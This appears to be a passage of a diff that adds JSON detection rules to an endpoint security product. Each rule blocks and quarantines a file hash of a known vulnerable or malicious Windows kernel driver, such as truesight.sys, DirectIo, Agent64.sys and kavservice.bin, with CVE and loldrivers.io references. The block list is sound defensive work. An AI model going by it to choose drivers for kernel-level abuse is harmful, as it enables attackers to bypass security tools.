+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e03dafb0-5ec0-5688-950d-1252cd95a83c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160666Z",
+  "creation_date": "2026-03-23T11:45:31.160668Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160674Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b52289bc4c5ce08fa3d1ab31d0c74c86564a39415cd55178e859d79b8f16117",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e03db9f2-a2d3-5028-98d0-bcd97c55374b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822736Z",
+  "creation_date": "2026-03-23T11:45:31.822739Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822746Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42d9b12949e06581c571488e2ff0725cf8d871f7405cab958e43c1bc71867a12",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e040864e-2a64-5391-8d15-aec54a1385b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500735Z",
+  "creation_date": "2026-03-23T11:45:31.500738Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500746Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a54b5b088967e6f65f37cf67c88e67c96a95487024d57cf39993b356898e5c45",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e0468411-5a02-5b72-8e45-12f2ea534bde",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604129Z",
+  "creation_date": "2026-03-23T11:45:29.604131Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604137Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c29e726448ad3e6452b5d186afb4668e6fcc942be512fe25ed72cfa1b73a6007",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e0505e7d-9e80-58f4-8cb0-ea6878de642b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622668Z",
+  "creation_date": "2026-03-23T11:45:29.622670Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622676Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "94be67c319a67de75ebed050d5537cfaa795d72bba52f3d8cf349e7bd075410e",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e054a1e8-3565-5de2-aa8c-90effc3edca5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620981Z",
+  "creation_date": "2026-03-23T11:45:29.620983Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620989Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b1d96233235a62dbb21b8dbe2d1ae333199669f67664b107bff1ad49b41d9414",
+  "comment": "Phoenix Technologies Vulnerable Physmem drivers (aka Agent64.sys) [https://www.loldrivers.io/drivers/5943b267-64f3-40d4-8669-354f23dec122/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e0790e85-36bc-5afa-8d7a-8be260cfb549",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826138Z",
+  "creation_date": "2026-03-23T11:45:31.826140Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826146Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "edf3fff43d2c3ec7530359d6042a4837238da206d2aa2381d698e3c10037381d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e07cc808-7faf-597c-bf8b-80fd01024b3e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155558Z",
+  "creation_date": "2026-03-23T11:45:31.155560Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155565Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c4543a2cf342355f2b1ac4e79b126115076b6cb2ebbc62529782378cf2b42cc0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e090feec-2655-5af2-9ee6-30946610a2f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476274Z",
+  "creation_date": "2026-03-23T11:45:31.476278Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476288Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "24a915857be068a8463703543fff24c763654d7d4ce6be40c7326fa148f6256c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e0911209-0e96-5071-8a07-1d12cd50e46e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829061Z",
+  "creation_date": "2026-03-23T11:45:30.829063Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829069Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "778214a28e54d8e912649dd155e1ecd6d726bb7e9b0838acfc31786cf9654529",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e09c6930-6c1b-57b2-ae10-d2f297e2c3a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140547Z",
+  "creation_date": "2026-03-23T11:45:31.140549Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140555Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1bba43e137244ad10af8166cfe65780d1d42428cd0caba37ce5902f72187a208",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e09d84c6-03a2-54ad-b4cc-765ab16a6e21",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475216Z",
+  "creation_date": "2026-03-23T11:45:30.475219Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475228Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "648994905b29b9c4a1074eef332bf6932b638bad62df020b5452c74e2b15d78f",
+  "comment": "Vulnerable Kernel Driver (aka semav6msr.sys) [https://www.loldrivers.io/drivers/142453a2-a24d-4b35-8922-6d5939f1c0fc/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e09e8f67-f283-5401-909b-698973374f55",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493171Z",
+  "creation_date": "2026-03-23T11:45:31.493174Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493183Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "799a8563d1b6efbfe833116c8af3b619bdf658ddba39cff7c7bb35e3f430b76b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e0c45fe2-421a-503d-ba84-3f298ad5a79b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978353Z",
+  "creation_date": "2026-03-23T11:45:29.978355Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978361Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1aaf4c1e3cb6774857e2eef27c17e68dc1ae577112e4769665f516c2e8c4e27b",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/a7628504-9e35-4e42-91f7-0c0a512549f4/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e0c65e9c-03cf-590e-8e72-7d6bd8b2a89a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488134Z",
+  "creation_date": "2026-03-23T11:45:31.488136Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488142Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3f631ad95bb296997a4d86cdcae9a5f4d2a05b47bdfab471b0905369bbbf4a32",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e0c6c1e7-7981-5c79-a6af-acb20f39b7d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809315Z",
+  "creation_date": "2026-03-23T11:45:31.809318Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809326Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f34be2c55f8a0102fedc6362afca94528c7ca5f52d5e260b64a5948b2723aad9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e0d679e1-613d-53ad-abf6-8530048afdd5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144718Z",
+  "creation_date": "2026-03-23T11:45:31.144720Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144725Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3cd869794481f84f25229883550c0f02597f5ad1c44a3c5724ef0cddd236d4e1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e0e51d84-9daf-5b1a-969b-f709939b5a32",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493293Z",
+  "creation_date": "2026-03-23T11:45:31.493295Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493301Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de4d8898dc5f8aadfe91dcf6735867e1fd204e0877a9ea8b0ccfd5d85a1dac8c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e0ecb629-6364-5f83-bcb2-4d33f5bf794f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981782Z",
+  "creation_date": "2026-03-23T11:45:29.981784Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981789Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "79e7165e626c7bde546cd1bea4b9ec206de8bed7821479856bdb0a2adc3e3617",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e0f005b5-4ef7-52d6-87b6-3b66572a1ae4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149771Z",
+  "creation_date": "2026-03-23T11:45:31.149773Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149779Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "92f884e715a70dd25c030410f9b03b17ad8aacabc524fa081979abffbd00d744",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e0f4d53b-da5a-5a82-8c15-a2dabae7788a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146026Z",
+  "creation_date": "2026-03-23T11:45:32.146029Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146034Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e055fdfb914e3da936eb7745acb665f50346df9abac597cf43d487262a6a12d5",
+  "comment": "Malicious Kernel Driver (aka kavservice.bin) [https://www.loldrivers.io/drivers/77157886-00f9-4f6e-b217-d896813b630f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e1027d6a-d5e2-5b56-ae59-586d13148821",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615451Z",
+  "creation_date": "2026-03-23T11:45:29.615453Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615459Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa861c61102cbcaa1e5f6020deaa066c4fcdfaee3ded1ee156ab81d59ad54f9a",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e10de787-42a8-5045-9d48-f1f478df1b75",
